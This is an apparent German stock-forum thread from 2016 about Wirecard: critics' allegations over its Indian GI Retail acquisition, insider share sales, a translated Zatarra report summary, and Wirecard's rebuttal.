      Es gab aber heftige Kritik an dieser Akquisition, zunächst aus wirtschaftlicher Sicht und insbesondere durch Dan McCrum, der nach eigenen Angaben gezielt Firmen sucht, bei denen er den Eindruck hat, das Zahlenwerk sei nicht stabil (Hintergrund: z.B. Quindell-Affäre).

      Artikel vom November 2015
      "Was kauft Wirecard da?"
      http://ftalphaville.ft.com/2015/11/12/2144182/rupee-do-what-…
      India is a fast growing economy, with e-commerce, payments and remittances all experiencing rapid growth. Wirecard investors will no doubt be reassured by what the company says was “intensive internal and external legal, financial and tax due diligence”. They may, perhaps, want to get a clearer picture of what the company is buying.


      Der Preis von EUR 230 Millionen (+110 Millionen möglicher Zahlungen) wurde auch von anderen Seiten teilweise heftig kritisiert. Markus Braun wies alle Kritik zurück, "der Markt ist reif genug, zu erkennen, was richtig ist und was Spekulation ist" (Quelle: Transcript Earning Conference, Nov2015)

      Der Kurs gab ihm zunächst recht: Wirecard erreichte ein Allzeithoch. Zu diesem Zeitpunkt stiegen aber auch die Positionen der Leerverkäufer an.

      Über Monate hielt Wirecard ein hohes Kursniveau um die 45€, Anfang des Jahres kam der Kurs unter Druck (40€ Anfang Februar). Im Januar veröffentlichte Jochen Reichert eine Art "Reisebericht" zum Asiengeschäft, der die zuvor veröffentlichte heftige Kritik von JCap, einer auf Asien spezialisierten Researchfirma (http://www.jcapitalresearch.com/) entschärfen sollte. Der Kurs begann wieder zu steigen, ehe am 24.02.2016 der erste Zatarrabericht erschienen ist.

      Darin wird u.a. auch heftige Kritik am Kauf der GI geäußert, es ist die Rede davon, dass "Hunderte Millionen Kapital vernichtet wurden durch den Kauf eines wertlosen Unternehmens mit dubiosen Hintergründen".

      The real founder and likely underlying selling shareholder of Wirecard’s recent €340 million acquisition, GI Retail, is Usman Fayaz. Fayaz has recently been censured by the
      Securities and Exchange Board of India (SEBI) for corporate fraud. Fayaz and the disclosed
      sellers, Ramu and Palaniyapan Ramasamy, directly reported to an individual prosecuted in
      India for money laundering and running lottery scams. The logic of this acquisition, the
      activities of the acquired operations and its purchase price raise significant concerns.

      (Erster Zatarrabericht, S. 3, ausführliche Beweisführung: S. 88ff)

      Zatarra hat also durch seine fundierten Recherchen die Kritik an dem Kauf noch um eine andere Ebene erweitert. Man könnte von "wirtschaftsethischen Aspekten" sprechen.

      Im März 2016 erschien ein weiterer Bericht von „Warburg Research“, in dem die Fragen zu Indien aber keine Rolle spielten. Dies ist bedauerlich, da sich Jochen Reichert durch seinen Besuch „vor Ort“ ein genaues Bild gemacht hat (siehe Bericht vom Januar).

      Ebenfalls im März 2016 veröffentlichte die Wirecard eine Art „Gegendarstellung“, die wiederum von Zatarra kommentiert wird. Im Rahmen einer geänderten Strategie im Umgang mit Zatarra wurde dieser Kommentar Zatarras leider niemals von Wirecard beantwortet.

      Hier die entsprechende Stelle:

      Wirecard ging auf die meisten Aspekte des Zatarraberichtes nicht ein und konzentrierte sich auf die Vergangenheit der Firma:
      8. Herr Usman Fayaz war zum Zeitpunkt des Erwerbs des Zahlungsabwicklers GI Retail Group
      weder direkt oder indirekt Aktionär bei einer der Unternehmen. Weder GI Technologies noch
      Hermes waren jemals in irgendeiner Form von Lotterie- oder Glücksspielgeschäften tätig. GI
      Technologies ist der führende inländische Finanztransfer-Dienstleister, der von der Reserve
      Bank of India (RBI) reguliert wird. Das Unternehmen wird regelmäßig von der
      Aufsichtsbehörde geprüft und wendet rigorose KYC- und Compliance-Verfahren bei seinen
      Überweisungen an. Der genannte Unternehmensbetrug bezieht sich auf das Unternehmen
      Popular Agro Farms Pvt Ltd, das überhaupt nichts mit Wirecard oder GI Retail zu tun hat.


      Zatarra antwortete umgehend:
      Dass Wirecard den Ausdruck „zum Zeitpunkt des Erwerbs“ in seiner Antwort verwendet, spricht Bände. Wir freuen uns auf neue und weitere Beweise, welche die Feinheiten der GI Retail Transaktion zu gegebener Zeit aufdecken. Die kurze Version ist, dass Wirecard in GI
      Retail ein fast wertloses Unternehmen erworben hat und Hunderte Millionen an
      Aktionärkapital verloren gingen. Zatarra freut sich auf die Meinung von Ernst & Young (Prüfer
      von Wirecard) bzgl. der Transaktion, sobald alle Einzelheiten bekannt sind.


      Anlässlich des Kapitalmarkttages in London wurde der GF der Öffentlichkeit vorgestellt. Es handelt sich um Herrn Ramu Ramsamy:
      Mr. Ramu Annamalai Ramsamy serves as the Managing Director of GI Retail Private Limited. Mr. Ramsamy has been the Managing Director of Hermes I Tickets Pvt Ltd., since October 13th, 2014 and serves as its Director. Mr. Ramsamy is also responsible for the diversification of the group into the current areas of travel, money remittance and payments. He is instrumental in formation of the GI Retail by consolidating different group companies. He manages the overall administration of the group with the help of a strong management team. He charts the future areas of growth for the group. Mr. Ramsamy has 18 years of experience spends his time in forging strategic tie ups and relationships for various group companies. Mr. Ramsamy served as the Chief Executive Officer of Gi Terminal i-Tech Private Limited (now known as GI Tech Gaming Co India Private Limited). He handled overall business and operations of GI Tech Gaming. Mr. Ramsamy has worked with Morgan Stanley before getting into the family business (paper trading). He is a management graduate (MMS) from BITS, Pilani.

      (Quelle: Bloomberg)

      Herr Ramsamy wurde mit kritischen Fragen konfrontiert, u.a. zum Geschäftsmodell oder zur Frage, ob es Risiken gäbe wegen möglicher Veränderungen in der Einstellung der indischen Regulierer zur Wirecard. Er gab auch an, bereits seit 2012 mit der Wirecard in Kontakt zu stehen. Wirecard sei sein „Traumpartner“, andere mögliche Partner habe man sich angesehen, aber man habe von Anfang an Wirecard als ideal betrachtet.

      Befragt nach der Lotterievergangenheit gab er ausweichende Antworten und stritt eine direkte Verbindung wortreich ab. Der fragende Analyst, Ron Deep, gab sich damit scheinbar zufrieden, beendete die Befragung allerdings mit einem britisch trockenen „ok“, das überdeutlich machte, dass er die Antworten nicht wirklich glauben konnte.

      Dan Mc Crum schrieb darüber im Mai 2016 einen Bericht:

      The analyst said Ramu Ramasamy, head of the Indian business, came across as more professional than expected, and gave a fairly good answer to a question about whether he had formerly been involved in a lottery business, a sector which has historically been controversial in India.
      An investor said Mr Ramasamy denied having previously been involved in a lottery business, “but confused everyone as he also said he and his brother had started a lottery technology company”.
      Our understanding of the German company’s position is that neither GI Technology or Hermes, two of the four GI Retail entities Wirecard now controls, have ever been involved in any form of lottery or gaming business.


      Die Lotteriefrage ist einerseits wichtig, weil sie die Art und Weise zeigt, wie Wirecard mit den unumstößlichen Belegen Zatarras umgeht, andererseits, weil Lotteriebetrügereien in Indien zu großer Wut seitens der Bevölkerung führen.

      In diesem Zusammenhang sei auch auf die Kritik vereinzelter Stimmen hingewiesen, wieso der GI eine erweiterte Lizenz gegeben wurde, obwohl es Berichte über die Verwicklung der Wirecard in umstrittene Geschäfte gab.

      http://www.indiasamvad.co.in/other-top-stories/accused-of-m…

      Dies wurde in Indien thematisiert, weil ein früherer Parlamentarier heftige Kritik am Chef der indischen Nationalbank RBI übte, der im weiteren Verlauf überraschend auf eine weitere Amtszeit verzichtet hat ( http://www.cnbc.com/2016/06/20/rajans-resignation-set-to-ha…)

      Unter anderem in diesem Forum wurden weitere Hinweise auf die Lotterievergangenheit des GI-Geschäftsführers gesammelt und an die zuständigen Stellen in Indien übergeben, insbesondere Hinweise auf existierende Offshorefirmen in der „Offshoreleaks-Datenbank“. Hierzu laufen in Indien derzeit großangelegte Ermittlungen, es konnte nicht bestätigt werden, ob diese sich auch auf die beiden genannten Firmen beziehen ( http://www.firstpost.com/world/panama-papers-income-tax-dep…).

      Im Juli hieß es:
      There are about 500 Indians named in the list which includes prominent businessmen, film celebrities and those belonging to lucrative professions.
      The government has created a Multi-Agency Group (MAG) of probe agencies to go into these cases, comprising the Income Tax department (CBDT), its foreign tax wing, the RBI, Financial Intelligence Unit and the Enforcement Directorate.

      Die Untersuchungen sollen nach Angaben aus Indien Jahre dauern.

      Auf der anderen Seite bleiben eben die Fragen, wie es in Indien wirtschaftlich läuft. Diese Fragen können derzeit nur indirekt beantwortet werden: Soweit man hört, ist alles super!

      Im März, nach dem closing, meinte Markus Braun:
      "Wir begrüßen unsere 900 neuen indischen Mitarbeiter herzlich in der Wirecard Gruppe und freuen uns darauf, zusammen mit den Kernmarken iCASHCARD und Smartshop deren E-Commerce- und elektronische Remittance-Lösungen weiter voranzutreiben. Das schnell wachsende Geschäft in Indien wird durch unsere Dienstleistungen, die wir schrittweise dort ausrollen, sehr gut ergänzt.“


      Ob das funktioniert, wird man sehen. Die Konkurrenz schläft nicht.

      weitere Lesetipp: rentforts Aufstellung von Akquisitionen in Asien ab 2010
      Zitat von Rentfort: Nachfolgende Tabellen geben einen Überblick über die Akquisitionen der Jahre 2010 bis 2015 mit wesentlichen Eckdaten und einer Aufgliederung der Kaufpreise auf einzelnen Bilanzpositionen. Ferner wurden die erwarteten Ergebnisse (EBITDA) den tatsächlich erwirtschafteten Ergebnissen gegenübergestellt.


      Lesetipp: Schürmanns Kritik an Akquisitionen in Asien
      http://www.wiwo.de/finanzen/boerse/finanzmaerkte-zweifelhaft…
      "Rohrkrepierer", "Umsatzziele nicht erreicht"
      1 Antwort
      Avatar
      schrieb am 29.07.16 18:53:14
      Beitrag Nr. 152 ()
      Antwort auf Beitrag Nr.: 52.948.672 von jigajig am 29.07.16 18:36:32Einige Links funktionieren leider nicht, bzw. fehlen, sie sind hier ersetzt


      Zitat von jigajig: Anlässlich des Kapitalmarkttages in London wurde der GF der Öffentlichkeit vorgestellt. Es handelt sich um Herrn Ramu Ramsamy:
      Mr. Ramu Annamalai Ramsamy serves as the Managing Director of GI Retail Private ...

      (Quelle: Bloomberg)
      Links:
      http://goo.gl/vkgT0v
      (Ramu Ramsamy)
      http://goo.gl/ps5kCl
      (Ramasamy Palaniyapan)

      zur Kritik an der Lizenzvergabe:
      http://goo.gl/2MrlgN

      Dies wurde in Indien thematisiert, weil ein früherer Parlamentarier heftige Kritik am Chef der indischen Nationalbank RBI übte, ... (http://www.cnbc.com/2016/06/20/rajans-resignation-set-to-hav…)

      ...Hierzu laufen in Indien derzeit großangelegte Ermittlungen, es konnte nicht bestätigt werden, ob diese sich auch auf die beiden genannten Firmen beziehen (http://www.firstpost.com/world/panama-papers-income-tax-dept…)....

      Im Juli hieß es: ...
      Die Untersuchungen sollen nach Angaben aus Indien Jahre dauern.
      Avatar
      schrieb am 30.07.16 01:21:13
      Beitrag Nr. 153 ()
      @Klaus Rehnig
      http://www.handelszeitung.ch/invest/ex-aufsichtsratschef-von…
      Juni 2008
      Auch sei es falsch zu sagen, der Aufsichtsrat verkaufe im grossen Stil Aktien, sagte Rehnig weiter. Er selbst habe sein Aktienpaket beinahe zehn Jahre lang komplett gehalten und 2007 weniger als zehn Prozent davon verkauft. Noch bei der Hauptversammlung vor wenigen Tagen habe er sich mit mehr als 2,5 Millionen Aktien präsentiert, was einen Anteil von insgesamt knapp unter sechs Prozent entsprach. Auch plane er keine weiteren Verkäufe: "Ich werde mich doch nicht zu diesen Kursen vom Aktienpaket trennen.

      Frage 1:
      was genau sind "fast 10 Jahre"? Welche Aktien kaufte Klaus Rehnig 10 Jahre vor 2008???
      Die Angaben zu insiderdeals bei der Wirecard gehen bis 2001 zurück und da taucht ein Kauf nicht auf.

      Frage 2:
      wie viele Aktien hält er denn heute noch?

      Im GB 2007 steht, er habe damals 2,81% der Aktien gehalten, seine Frau Tanja 2,95%. Das entspricht den angegebenen unter 6%.

      Im selben GB sind 170.000 verkaufte Aktien des Herrn Rehnig verzeichnet. Das sollen nach Klaus Rehnig "weniger als 10% seines Aktienpaketes" gewesen. Das ist korrekt.

      Im Januar und März 2006 erhielten Herr und Frau Rehnig 2,05 respektive 2,52 Mio Aktien durch einen "Anteilstausch". Dazu passt 170.000=weniger als 10%

      Was er aber nicht erwähnt, das sind die 850.000 Aktien, die er und seine Frau 2006 verkauft haben, beginnend im September. Er hatte damals kein Problem, sich für Kurse zwischen 5,00€ und 6,43€ von seinen Aktien zu trennen.

      Wie abwegig ist die These, dass diese Insiderverkäufe etwas mit einer Meldung der Surefire zu tun haben könnten (bzw. mit dem Anlaß für diese Meldungen?)

      On 30 September 2006, the United States Congress passed the Unlawful Internet Gambling Enforcement Act of 2006. The Act, upon becoming law, will prohibit gambling businesses from accepting any financial instrument in connection with unlawful Internet gambling. The Act will become law upon its approval by the President of the United States, which the Company expects will occur in the immediate near term. The Act does not define 'unlawful Internet gambling' nor does it make unlawful any activities by financial institutions that are not themselves gambling businesses. The Act directs the United States Federal Reserve and the Department of the Treasury to develop regulations that would direct financial institutions to identify and block certain types of financial transactions connected with unlawful Internet gambling. The enactment of the Act will have a significant negative impact on the business and results of operations of the Company. The Company's Board is evaluating the situation and will update shareholders when appropriate.
      Avatar
      schrieb am 31.07.16 23:06:25
      Beitrag Nr. 154 ()
      2007 wäre die Enterpayment fast "Entrepreneur of the Year" geworden - ausgezeichnet ausgerechnet von Ernst & Young. Noch früher war die Firma verbunden mit der Dialerfirma Q1 in Düsseldorf, mit dem früheren AR-Vorsitzenden von RTL. Dann machte man zusammen mit "Bobby Rica" alias Robert Rice das Ynotpayment. Supertarife, high risk specialised. Auf der Firmenseite passenderweise eine UK-Limited-Gründerfirma, die wir kennen.
      Ein anderer wurde später wiederum wirklich Entreprenuer of the Year. Das war der hier:
      http://www.forbes.com/sites/abrambrown/2014/06/18/mr-dirt-ch…
      Man lese dringend auch die Kommentare!
      Hello Dee employee from the Philippines or Costa Rica. Surprised his Costa Rica connections were not mentioned in the article… or his connections to Bob Rice.

      Bob Rice, aha. Enterpayment. aha.
      Ach ja, über "Dee" wird so viel erzählt, dass man es einfach nicht mehr nachprüfen kann. Entsetzliche Dinge und eher weniger entsetzliche Dinge.
      Zu den weniger entsetzlichen Dingen gehört, dass er angeblich Tarnfirmen in UK verwendet. Diese Firmen gehören irgendwelchen Firmen auf den BVI oder so. Bournewood, Fermoya, usw.
      Nie gehört.
      Sicher Zufall.
      Es gibt auch so viele Leute, die so heißen wie er und was-weiß-ich wo arbeiten. Das stimmt sicher alles nicht.
      Agarwal denies he ran or owned the porn sites. Instead, he says, Contact Center provided designers to create ads and programmers to ensure the ads drove the traffic to the porn websites. So if Dee Agarwal didn’t own sites like DeeCash.com, who did? “There were various owners of various businesses,” he says. “To ask me who owned what is a broad question.”
      Whoever owned and controlled the sites, they developed a bad rep within a seedy business. Former business associates and rivals say the websites engaged in so-called cross-selling, in which customers signed up for one site while inadvertently registering for several others, and also in what erotica executives call “banging credit cards”—relentless overbilling of customers. “I personally was never involved in any kind of fraud, any kind of credit card banging,” says Agarwal. In another matter, a gay-porn production company, BluMedia, sued both DeeCash.com and DeeDevelopments.com (a Nevada company once registered in Agarwal’s name) over alleged trademark infringements on BluMedia’s “Broke Straight Boys” videos. BluMedia never received a response.

      Na, aber wer war nun der Verantwortliche? Und was hatten die Verantwortlichen mit deutschen Firmen zu tun?
      Fragen über Fragen.
      Avatar
      schrieb am 02.08.16 20:02:01
      Beitrag Nr. 155 ()
      unkommentierte (!!!!) und freie Übersetzung der Zusammenfassung des Zatarraberichts.
      Anmerkungen:
      Ich mache mir die hier gemachten Aussagen ausdrücklich nicht in dieser Form zueigen!

      Einige Belege sind hier angegeben.Ich weise nachdrücklich darauf hin, dass es eine Stellungnahme der Firma Wirecard gibt, die alle Aussagen als substanzlos bezeichnet hat, insbesondere werden die Schlußfolgerungen als "Unfug" bezeichnet.

      Desweiteren weise ich darauf hin, dass es mehrere Berichte von zatarra mit einer Reihe weiterer Belege und Erklärungen gibt, die in jedem Falle mit herangezogen werden müssen, um die hier gemachten Aussagen zu bewerten.

      Schließlich weise ich darauf hin, dass meine eigene persönliche Einschätzung der Relevanz dieser Vorwürfe nicht allein auf diesem Bericht und der weiteren Belege beruht, sondern zu einem entscheidenden Teil auf eigenen Recherchen, die ich selbst durchgeführt habe, oder zu denen ich von anderen Personen umfangreiches weiteres Material bekommen habe.

      Dieser Text ist nicht aktuell, sondern wurde am 24. Februar 2016 veröffentlicht

      Sollten Belege nicht mehr abrufbar sein und Interesse daran bestehen, bitte ich um eine Boardmail mit genauen Angaben zum gesuchten Beleg.

      Sollten konkrete Fragen zu einer bestimmten Aussage aufkommen, bitte ich darum, die entsprechenden Passagen der ausführlicheren Berichte zu lesen und erst dann bei mir nachzufragen, ich werde Antwort geben auf der Grundlage meines Wissens und behalte mir aber vor, auf bereits bestehende Aussagen zu verweisen.


      Überblick über die Ergebnisse
      Die Belege zeigen, dass Führungspersonal der Wirecard und Vorstandsmitglieder Geldwäsche begangen haben und die Umgehung der US-Beschränkungen für Glücksspiele im Internet erleichtert (facilitate: ~ermöglicht, gefördert) haben. Diese Tätigkeit hat sich seit dem "Black Friday" im Jahr 2011 fortgesetzt.
      Zusätzlich zum Bruch der Gesetze der USA haben Wirecard, seine Führungsmitglieder und Tochterunternehmen (affiliates: ~Partner) die Kreditkartenunternehmen wie VISA und Mastercard betrogen.
      Wir glauben, dass der Widerhall des ungesetzlichen Verhaltens der Wirecard Sanktionen der US-Behörden, europäischer Regulierungsbehörden und Kreditkartenunternehmen zur Folge haben wird, die alle eine Kopie dieses Berichts erhalten werden.
      Das Gebahren (Verhalten, Handlungsweise) des Führungspersonals der Wirecard, ihre kriminellen Aktivitäten und die grobe Fahrlässigkeit des Vorstands lassen die Anteilseigner mit wertlosem Papier zurück.

      Kurzdarstellung der Ergebnisse:
      Das Management der Wirecard täuschte die US-Behörden und Anteilseigner, als es eindeutig die Vorwürfe zurückgewiesen hat, die den Verdacht auf Geldwäsche entstehen ließen http://ir.wirecard.com/websites/wc/English/3150/financial-n…).

      Wirecards früherer COO, Rüdiger Trautmann, gründete zahlreiche unerwähnte Unternehmen (undisclosed companies) während seiner Zeit bei der Wirecard, eines davon ist den Firmen und Personen zuzuordnen (associated: zuzuordnen, verbunden, angeschlossen, dazugehörig, dem System angeschlossen), die den US Wire Act verletzten und Geldwäsche begingen.

      Wirecards „Berater“ und früherer Aufsichtsratsvorsitzender, Jochen Hochrein, kontrollierte eine weitere Firma, die Gelder an dieselben Firmen und Personen transferierten, die den US Wire Act gebrochen und Geld gewaschen haben.

      Der frühere CEO des Wirecard-Tochterunternehmens WIRECARD PAYMENT SOLUTIONS, Dietmar Knöchelmann, erwartet seine Verfolgung durch die israelische Justiz für Geldwäsche und Unternehmensbetrug, begangen, während er CEO der Wirecard Payment Solutions war ( http://www.globes.co.il/news/article.aspx?did=1001029997, Ersatzlink: http://www.globes.co.il/en/article-ben-asulin-basha-segev-c…

      Bedeutsame und neue Beweise zeigen die Verwicklung der Wirecard in die Verletzung der US-Beschränkungen im Bereich Internetglücksspiel, im Gegensatz zu seiner Leugnung einer Beteiligung in einer Untersuchung im Jahre 2010. Für Wirecard besteht ein ernstes Risikoi einer Strafverfolgung und Sanktionierung durch die US-Behörden. Die Verjährungsfrist des US-Justizministeriums beträgt hier 10 Jahre.( https://www.justice.gov/usam/criminal-resource-manual-968-d…)

      Ferner gibt es Hinweise, dass Wirecard weiterhin die Umgehung der US-Beschränkungen im Bereich Internetglücksspiel ermöglicht. Anschuldigungen bezüglich des Einsatzes betrügerischer Methoden, um Zahlungen abzuwickeln und des Umgehens der US-Beschränkungen bei Internetglücksspielen haben zuvor zu Geldstrafen und der Beschlagnahmung von Werten von 731 Mio US$ geführt (Pokerstars), wo es eine Einigung nach einer Klage der US-Regierung gab. ( https://archives.fbi.gov/archives/newyork/press-releases/20…)

      Es gibt Hinweise darauf, dass Markus Braun und Burkhard Ley Kenntnis der Taten von Trautmann und Knöchelmann hatten und sich mitschuldig gemacht haben.
      Es gibt Hinweise darauf, dass Trautmann und Wirecard, nachdem sie Wirecard offiziell verlassen haben, inoffiziell weiterhin mit Wirecardaktivitäten verbunden waren.

      Die Geschäftspraktiken der Wirecard im asiatisch-pazifischen Raum ähneln dem oben beschriebenem kriminellen Verhalten. Es ist allgemein bekannt, dass Wirecards Einnahmen abhängig sind von einem bedeutsamen Volumen an „Hochrisiko-Transaktionen“.
      Aber die Beweise zeigen, dass die asiatisch-pazifischen Wirecard-Unternehmen ein bewusstes und vorsätzliches System zum Betrug an Visa und Mastercard betreiben und dass sie die Herkunftsländer und das verbundene Händlerrisiko verheimlichen, um die Einschätzung als Hochrisikozahlung und die Bestätigungsanforderungen (authentication requirements) innerhalb des Netzwerks von Visa und Mastercard zu umgehen.
      Kunden der Wirecard aus dem asiatisch-pazifischen Raum wird die Möglichkeit angeboten, „Spiegelfirmen“ in UK, der Schweiz und Liechtenstein zu gründen, die ein nicht korrektes Maß an Länder- und Händlerrisiko entstehen lassen (z.B. http://web.archive.org/web/20160125201702/http:/www.uni-cha… ua). Dies schränkt die Möglichkeit einer Regulierungsbehörde ein, den wirklichen Ursprung, die Quelle und die Art der Zahlung zu überwachen . Das Wesen von „Know Your Client“ und aller Elemente der Händlercompliance werden scheinbar von Wirecard ignoriert, um Wachstum zu implizieren oder zu fabrizieren.
      Unglaublicherweise entdeckten wir, dass Wirecard Domains mit Bezug zu „Erwachsenenunterhaltung“ auf seinen Servern gehostet hat, während der Zuständige Mitarbeiter für Risk&Compliance, Arnold Marcellana, Pokerseiten auf seinen Namen registriert hat.
      Es zeigt sich, dass Wirecardmitarbeiter eine Reihe verbundener Zahlungsdienstanbieter geschaffen haben. Beispiele sind uni-channel.net opder paylockglobal.com
      Wir glauben, dass dieses Muster auftritt, weil damit Wachstumselemente aufrecht erhalten werden sollen, die anderweitig nicht geschaffen werden könnten.

      Wir glauben, dass der Betrug an Visa und Mastercard dazu führen wird, dass Wirecards Mitgliedschaft im Netzwerk von Visa und Mastercard beendet werden wird.

      Wirecard hat immer wieder Unternehmen erworben für einen höheren Preis als deren scheinbarer Wert. Diese wurden gekauft von früheren Mitarbeitern und anderen Personen mit fragwürdigen Lebensläufen, einschließlich Verurteilungen wegen Betrugs, Betrugsvorwürfen sowie Verbindungen zu Geldwäsche.

      Die Vorbesitzer von WIRCARED UK & IRELAND, Dietmanr Knöchelmann und John Carbone, haben Beziehungen zu Internetglücksspielen und waren verwickelt in Rechtsstreitigkeiten, die davon handelten, dass Vermögenswerte durch Täuschung, Betrug, Irreführung und Zwang in Besitz gebracht wurden.
      http://goo.gl/DfR204
      http://www.casinomeister.com/news/november2004.html

      Nachweise zeigen, dass Wirecard Krores, einen Herausgeber von Prepaidkarten, von Dietmar Knöchelmann (dem früheren CEO der Wirecard Payment Solutions) und Rüdiger Trautmann (dem früheren COO der Wirecard) gekauft hat.

      Dies zeigt, dass Wirecardchef Markus Braun und der CFO Burkhard Ley sich voll und ganz bewusst waren über das ungenannte Netzwerk der Unternehmen von Knöchelmann und Trautmann, da diese Firma Teil dieses Netzwerks war.

      Wir glauben, dass ehemalige und aktuelle Mitarbeiter der Wirecard von anderen derartigen Akquisitionen profitiert haben, wobei die erworbenen Unternehmen wenig oder keinen Wert hatten.

      Wirecard hat Asia pacific E-Serv Corporation erworben, wo Esther Magleo als Gründerin auftrat, die Ende der 2000er Jahre in eine Unternehmensbetrug verwickelt war, während sie weiterhin bei Wirecard beschäftigt war.
      http://newsinfo.inquirer.net/383717/cases-filed-vs-oil-firm…
      http://www.paynamics.com/meet-the-team/



      Der eigentliche Gründer und wahrscheinlich im Hintergrund agierende Anteilsverkäufer der letzten Wirecard-Akquisition für 340 Mio €, GI retail, ist usman fayaz. Fayaz wurde vor Kurzem von der SEBI wegen Unternehmensbetrugs gemaßregelt. Fayaz und die offenbarten Verkäufer, Ramu und Palaniyapan ramdamy, berichteten direkt an eine Person, die in Indien wegen Lotteriebetrugs strafrechtlich verfolgt wird http://www.newsgram.com/lottery-business-how-santiago-marti…

      Die Logik dieses Erwerbs, die Aktivitäten der gekauften Unternehmen und der Kaufpreis erwecken erhebliche Bedenken. Aufgrund eines erheblichen Risikos für eine Strafverfolgung durch US-Behörden, Strafzahlungen, Verwicklungen mit regulierungsbehörden und der Beendigung der Mitgliedschaft im Netzwerk von Visa und Mastercard sehen wir keinen Wert im Eigenkapital der Wirecard.

      (c) jigajig et al., 2.8.2016
      Quelle: ZRI "The final executive summary", Stand: 23.2.2016

      unkommentierte (!!!!) und freie Übersetzung der Zusammenfassung des Zatarraberichts.
      Anmerkungen:
      Ich mache mir die hier gemachten Aussagen ausdrücklich nicht in dieser Form zueigen!

      Einige Belege sind hier angegeben. Ich weise nachdrücklich darauf hin, dass es eine Stellungnahme der Firma Wirecard gibt, die alle Aussagen als substanzlos bezeichnet hat, insbesondere werden die Schlußfolgerungen als "Unfug" bezeichnet.

      Desweiteren weise ich darauf hin, dass es mehrere Berichte von zatarra mit einer Reihe weiterer Belege und Erklärungen gibt, die in jedem Falle mit herangezogen werden müssen, um die hier gemachten Aussagen zu bewerten.

      Schließlich weise ich darauf hin, dass meine eigene persönliche Einschätzung der Relevanz dieser Vorwürfe nicht allein auf diesem Bericht und der weiteren Belege beruht, sondern zu einem entscheidenden Teil auf eigenen Recherchen, die ich selbst durchgeführt habe, oder zu denen ich von anderen Personen umfangreiches weiteres Material bekommen habe.

      Dieser Text ist nicht aktuell, sondern wurde am 24. Februar 2016 veröffentlicht

      Sollten Belege nicht mehr abrufbar sein und Interesse daran bestehen, bitte ich um eine Boardmail mit genauen Angaben zum gesuchten Beleg.

      Sollten konkrete Fragen zu einer bestimmten Aussage aufkommen, bitte ich darum, die entsprechenden Passagen der ausführlicheren Berichte zu lesen und erst dann bei mir nachzufragen, ich werde Antwort geben auf der Grundlage meines Wissens und behalte mir aber vor, auf bereits bestehende Aussagen zu verweisen.
      Avatar
      schrieb am 02.08.16 20:18:26
      Beitrag Nr. 156 ()
      Antwort auf Beitrag Nr.: 52.798.381 von jigajig am 09.07.16 12:07:49
      Zitat von jigajig: wirecardstellungnahme

      Erklärung von Wirecard zu den Berichten, die von einer fragwürdigen Quelle veröffentlicht wurden und unwahre und verleumderische Behauptungen enthalten:
      Der Bericht ist vollkommen substanzlos und wir gehen davon aus, dass der Bericht verbreitet wurde, um unseren Aktienkurs negativ zu beeinflussen. Rechtliche Schritte wurden eingeleitet.
      Trotz des eindeutigen Mangels an Glaubwürdigkeit hat Wirecard erhebliche Zeit und Mühe in die Prüfung des Berichts und der darin enthaltenen Anschuldigungen investiert und ist zu dem Ergebnis gekommen, dass der Bericht gänzlich unwahr ist. Nachstehend finden Sie ausführliche Antworten auf eine Reihe der angesprochenen Punkte.
      Wirecard unterstützt seit jeher eine verstärkte Regulierung des Internetzahlungsverkehrs mit strikter Compliance, um Verbraucher, Händler und die Branche vor Fehlverhalten in jeglicher Form zu schützen. Wirecard war der erste Zahlungsverkehrsdienstleister (Payment Service Provider - PSP), der bereits im Jahr 2006 über eine Vollbanklizenz verfügte. Als beaufsichtigtes Unternehmen unterliegt Wirecard der umfassenden Regulierungsaufsicht und Einhaltung strenger Compliance-Verfahren für die Transaktionen des Unternehmens. Seit dem Erwerb der Vollbanklizenz durch Wirecard führt die Europäische Union rechtliche Rahmenbedingungen ein, die die Beantragung von Lizenzen seitens der Mitbewerber von Wirecard erfordern und dieselben der Regulierungsaufsicht unterstellen. Die deutsche Banklizenz von Wirecard und das daraus resultierende Regulierungssystem zeigen, dass Wirecard in einer der komplexesten und striktesten Regulierungsumgebungen Europas tätig ist.
      1. Als einer der weltweit führenden Online-Bezahldienste verfügt Wirecard über ausgezeichnete Kontakte zu sämtlichen Kreditkartenorganisationen. Durch seine beaufsichtigten Unternehmen im Vereinigten Königreich und in Deutschland ist Wirecard aktiver Lizenznehmer / aktives Mitglied dieser Organisationen, und zwar seit über einem Jahrzehnt. Neben seiner Rolle als Händler-Akzeptanz (Acquirer) und kartenausgebendes Institut (Issuer) für diverse Kreditkartenorganisationen verfügt Wirecard nicht nur über strategische Partnerschaften mit diesen Kartenorganisationen sondern hat auch Vermögenswerte und Tochtergesellschaften von ihnen erworben.
      2. Wirecard legt die Art der vom Unternehmen bearbeiteten Transaktionsvolumen und die Einnahmen im Zusammenhang mit jedem Kundenbranchensegment in seinen geprüften Jahresabschlüssen fortlaufend offen. Online-Glücksspieltransaktionen stammen ausschließlich von beaufsichtigten Glücksspielbetreibern und machen etwa 7% des gesamten Transaktionsvolumens von Wirecard aus. In der öffentlichen Berichterstattung von Wirecard werden sie im Segment ‚Digitalprodukte‘ zusammengefasst. Jegliche Behauptung, Wirecard würde die Zahlungsgerichtsbarkeit und das damit verbundene Händlerrisiko verschleiern, um Hochrisikoeinstufung und Authentifizierungsanforderungen innerhalb der Kreditkartenorganisationsnetzwerke zu umgehen, ist falsch. Die Compliance-Verfahren und Verfahren zur Einrichtung von Händlerkonten bei Wirecard werden mehrfach von den Aufsichtsbehörden sowie von den Kreditkartenorganisationen selbst geprüft. Die Zuweisung der Ländercodes und Händlerkategorien zu den jeweiligen Händlerkonten erfolgt in vollständiger Übereinstimmung mit sämtlichen aufsichtsrechtlichen Vorschriften, Steuervorschriften und Vorschriften der Kreditkartenorganisationen.
      3. Wirecard hat Krores nie erworben und steht in keinerlei Geschäftsbeziehung zu Krores.
      4. Wirecard hat keine direkten oder indirekten Geschäftsbeziehungen mit der Inatec GmbH.
